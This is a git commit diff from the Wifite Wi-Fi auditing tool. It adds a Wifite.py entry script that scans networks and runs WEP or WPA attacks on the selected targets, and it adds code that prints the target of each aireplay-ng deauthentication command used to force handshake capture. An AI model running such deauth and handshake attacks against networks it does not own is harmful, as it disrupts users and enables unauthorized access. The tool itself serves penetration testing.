Root script 'Wifite.py' brings it all together
Now displays when deauthing during WPA attack
This commit is contained in:
2
.gitignore
vendored
2
.gitignore
vendored
@@ -1,2 +1,4 @@
|
||||
*.swp
|
||||
*.pyc
|
||||
py/hs/
|
||||
*.bak
|
||||
|
||||
37
Wifite.py
Normal file
37
Wifite.py
Normal file
@@ -0,0 +1,37 @@
|
||||
#!/usr/bin/python
|
||||
|
||||
from py.Scanner import Scanner
|
||||
from py.Color import Color
|
||||
from py.AttackWEP import AttackWEP
|
||||
from py.AttackWPA import AttackWPA
|
||||
|
||||
class Wifite(object):
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def run(self):
|
||||
s = Scanner()
|
||||
targets = s.select_targets()
|
||||
for t in targets:
|
||||
Color.pl('{+} starting attacks against {C}%s{W} ({C}%s{W})'
|
||||
% (t.bssid, t.essid))
|
||||
# TODO: Check if Configuration says to attack certain encryptions.
|
||||
if 'WEP' in t.encryption:
|
||||
attack = AttackWEP(t)
|
||||
elif 'WPA' in t.encryption:
|
||||
# TODO: Check if WPS, attack WPS
|
||||
attack = AttackWPA(t)
|
||||
attack.run()
|
||||
pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
w = Wifite()
|
||||
try:
|
||||
w.run()
|
||||
except Exception, e:
|
||||
Color.pl('\n{!} {R}Error:{O} %s{W}' % str(e))
|
||||
#from traceback import format_exc
|
||||
#format_exc().replace('\n', '\n ')
|
||||
except KeyboardInterrupt:
|
||||
Color.pl('\n{!} {O}interrupted{W}')
|
||||
|
||||
@@ -33,6 +33,7 @@ class AttackWEP(Attack):
|
||||
ivs_only=True, # Only capture IVs packets
|
||||
output_file_prefix='wep') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} {O}waiting{W} for target to appear...')
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
|
||||
|
||||
@@ -27,6 +27,7 @@ class AttackWPA(Attack):
|
||||
target_bssid=self.target.bssid,
|
||||
output_file_prefix='wpa') as airodump:
|
||||
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} {O}waiting{W} for target to appear...')
|
||||
airodump_target = self.wait_for_target(airodump)
|
||||
|
||||
@@ -40,9 +41,9 @@ class AttackWPA(Attack):
|
||||
deauth_proc = None
|
||||
|
||||
while True:
|
||||
time.sleep(1)
|
||||
Color.clear_line()
|
||||
Color.p('\r{+} waiting for {C}handshake{W}...')
|
||||
time.sleep(1)
|
||||
|
||||
# Find .cap file
|
||||
cap_files = airodump.find_files(endswith='.cap')
|
||||
@@ -75,11 +76,9 @@ class AttackWPA(Attack):
|
||||
# We are N seconds since last deauth was sent,
|
||||
# And the deauth process is not running.
|
||||
if len(clients) == 0 or client_index >= len(clients):
|
||||
# TODO: Send deauth for broadcast
|
||||
deauth_proc = self.deauth(airodump_target.bssid)
|
||||
client_index = 0
|
||||
else:
|
||||
# TODO: Send deauth for client
|
||||
client = clients[client_index]
|
||||
deauth_proc = self.deauth(client.bssid)
|
||||
client_index += 1
|
||||
@@ -183,6 +182,9 @@ class AttackWPA(Attack):
|
||||
Deauths 'broadcast' if no client is specified.
|
||||
'''
|
||||
# TODO: Print that we are deauthing and who we are deauthing!
|
||||
target_name = station_bssid
|
||||
if target_name == None:
|
||||
target_name = 'broadcast'
|
||||
command = [
|
||||
'aireplay-ng',
|
||||
'--ignore-negative-one',
|
||||
@@ -193,6 +195,7 @@ class AttackWPA(Attack):
|
||||
# Deauthing a specific client
|
||||
command.extend(['-h', station_bssid])
|
||||
command.append(Configuration.interface)
|
||||
Color.p(' {C}sending deauth{W} to {C}%s{W}' % target_name)
|
||||
return Process(command)
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
@@ -39,7 +39,7 @@ class Scanner(object):
|
||||
[len(t.clients)
|
||||
for t in self.targets])
|
||||
Color.p(
|
||||
"\r{+} Scanning, " +
|
||||
"\r{+} scanning, " +
|
||||
"found {G}%d{W} target(s)," % target_count +
|
||||
" {G}%d{W} clients" % client_count +
|
||||
". {O}Ctrl+C{W} when ready")
|
||||
@@ -102,7 +102,7 @@ class Scanner(object):
|
||||
+ " or you may have issues with your wifi card")
|
||||
|
||||
self.print_targets()
|
||||
input_str = '{+} Select target(s)'
|
||||
input_str = '{+} select target(s)'
|
||||
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
||||
input_str += ' separated by commas, dashes'
|
||||
input_str += ' or {G}all{W}: '
|
||||
|
||||
Reference in New Issue
Block a user